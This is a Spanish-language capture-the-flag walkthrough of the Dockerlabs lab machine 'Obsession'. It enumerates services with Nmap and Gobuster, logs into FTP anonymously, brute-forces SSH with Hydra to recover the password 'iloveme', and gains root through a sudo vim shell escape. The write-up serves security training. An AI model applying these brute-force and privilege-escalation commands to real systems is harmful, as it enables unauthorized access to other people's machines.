

8. Máquina: Obsession (Muy Fácil)

1. Descubrimiento de puertos y servicios con Nmap:

- Utilizamos Nmap para descubrir los puertos abiertos y los servicios en ejecución.
 - Comando:** `nmap -sVC 172.17.0.2`
 - Resultado:** Se encontraron los servicios FTP (con login anonymous activado), SSH y HTTP abiertos.

2. Búsqueda de directorios activos con Gobuster:

- Usamos *Gobuster* para encontrar directorios activos en el servicio HTTP.
 - Comando:** `gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html`
 - Resultado:** Se encontró los directorios */backup* e */important*, donde en el */backup* encontramos un archivo *.txt* mensaje: *Usuario para todos mis servicios: russoski (cambiar pronto!)*

```
=====
Starting gobuster in directory enumeration mode
=====
./html                (Status: 403) [Size: 275]
/index.html           (Status: 200) [Size: 5208]
/backup               (Status: 301) [Size: 309] [--> http://172.17.0.2/backup/]
/important            (Status: 301) [Size: 312] [--> http://172.17.0.2/important/]
./html                (Status: 403) [Size: 275]
/server-status        (Status: 403) [Size: 275]
Progress: 882240 / 882244 (100.00%)
=====
Finished
=====
```

2. Conexión al protocolo FTP anonymous:

- Nos conectamos al servicio FTP utilizando las credenciales anónimas
 - Comando:** `ftp 172.17.0.2`, user: *anonymous* | contraseña: *anonymous*

3. Navegación y Lectura loggeados FTP:

- Una vez loggeados como anonymous en FTP, vemos que existen varios archivos *.txt* (*chat-gonza* y *pendientes*). Nos los descargamos y veremos su contenido en nuestra máquina atacante.
 - Comando:** `get chat-gonza.txt` `get pendientes.txt`
 - Resultado:** En el archivo *.txt* Chat vemos unos diálogos poniendo en contexto la temática de la máquina y en *pendientes* vemos una observación interesante, el creador comenta que hay algunos permisos que deben revisarse.

```
(root@kali) ~# ftp 172.17.0.2
Connected to 172.17.0.2.
220 (vsFTPD 3.0.5)
Name (172.17.0.2:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
220 Entering Extended Passive Mode (|||14378|)
150 Here comes the directory listing.
-rw-r--r--  1 0      0      667 Jun 18 03:20 chat-gonza.txt
-rw-r--r--  1 0      0      315 Jun 18 03:21 pendientes.txt
226 Directory send OK.
```

```
(kali@kali) ~# cat chat-gonza.txt
[16:21, 16/6/2024] Gonza: pero en serio es tan guapa esa tal Nágore como dices?
[16:28, 16/6/2024] Russoski: es una auténtica princesa pff, le he hecho hasta un video y todo, lo tengo ya subido y tengo la URL guardada
[16:29, 16/6/2024] Russoski: en mi ordenador en una ruta segura, ahora cuando quedemos te lo muestro si quieres
[21:52, 16/6/2024] Gonza: buah la verdad tenias razón eh, es hermosa esa chica, del 9 no baja
[21:53, 16/6/2024] Gonza: por cierto buen entreno el de hoy en el gym, noto los brazos bastante hinchados, así si
[22:36, 16/6/2024] Russoski: te lo dije, ya sabes que yo tengo buenos gustos para estas cosas xD, y si buen training hoy

(kali@kali) ~# cat pendientes.txt
1 Comprar el Voucher de la certificación eJPTv2 cuanto antes!
2 Aumentar el precio de mis asesorías online en la Web!
3 Terminar mi laboratorio vulnerable para la plataforma Dockerlabs!
4 Cambiar algunas configuraciones de mi equipo, creo que tengo ciertos permisos habilitados que no son del todo seguros..
```

4. Ataque de fuerza bruta con Hydra:

- Realizamos un ataque de fuerza bruta contra el servicio ssh usando la herramienta *Hydra* utilizando el nombre de usuario *russoski*, encontrado (con gobuster) en el *.txt* subido en el directorio */backup* y las contraseñas de *rockyou.txt*.
 - Comando:** `hydra -l russoski -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh -I`
 - Resultado:** Se encontró la contraseña *"iloveme"* para el usuario *"russoski"*.

```
(root@kali)-[/home/kali]
# hydra -l russoski -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service or
inding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-26 18:02:32
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l1/p:14344399), ~896525 tries pe
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: russoski password: iloveme
1 of 1 target successfully completed, 1 valid password found
```


5. Conexión SSH a la máquina víctima:

- Nos conectamos a la máquina víctima mediante ssh con las credenciales encontradas.
 - Comando:** `ssh russoski@172.17.0.2`
 - Resultado:** Nos encontramos dentro del usuario *russoski* en la máquina víctima (ingresando password *iloveme*)

6. Verificación de permisos del usuario:

- Verificamos los permisos del usuario Russoski.
 - Comando:** `sudo -l`
 - Resultado:** El usuario Russoski tiene permisos para ejecutar binarios *vim* `(root) NOPASSWD: /usr/bin/vim`.

7. Escalado de Privilegios para Russoski:

- Habiendo observado que russoski puede ejecutar binarios Vim, buscamos un exploit en *vim* para realizar la escalada de privilegios en  [GTFOBins](https://gtfobins.dev/).
- Comando:** `sudo vim -c '!/bin/bash'`
- Resultado:** Ejecutamos el comando y obtenemos acceso como usuario root en la máquina víctima desde el usuario Juan. ¡Fin de la resolución de la máquina!

```
russoski@515e26d437b5:~$ sudo vim -c '!/bin/bash'
^[[Iroot@515e26d437b5:/home/russoski# whoami
root
root@515e26d437b5:/home/russoski# ls
Documentos  Proyectos
root@515e26d437b5:/home/russoski# xDaliK
bash: xDaliK: command not found
```

8. Extra: Navegación de Directorios después de máximos privilegios:

- Navegando puedes encontrar varios documentos interesantes y, finalmente obteniendo *máximos privilegios*, encuentras en el directorio */root* el link al video que se menciona en el contexto del chat encontrado en el servicio FTP.

```
root@515e26d437b5:/home/russoski# xDaliK
bash: xDaliK: command not found
root@515e26d437b5:/home/russoski# cd ..
root@515e26d437b5:/home# cd ..
root@515e26d437b5:/# cd root/
root@515e26d437b5:~# ls
Video-Nagore-Fernandez.txt
root@515e26d437b5:~# cat Video-Nagore-Fernandez.txt
Al fin lo terminé! es tan hermosa.. <3
```

https://www.youtube.com/shorts/_v8GzGrETak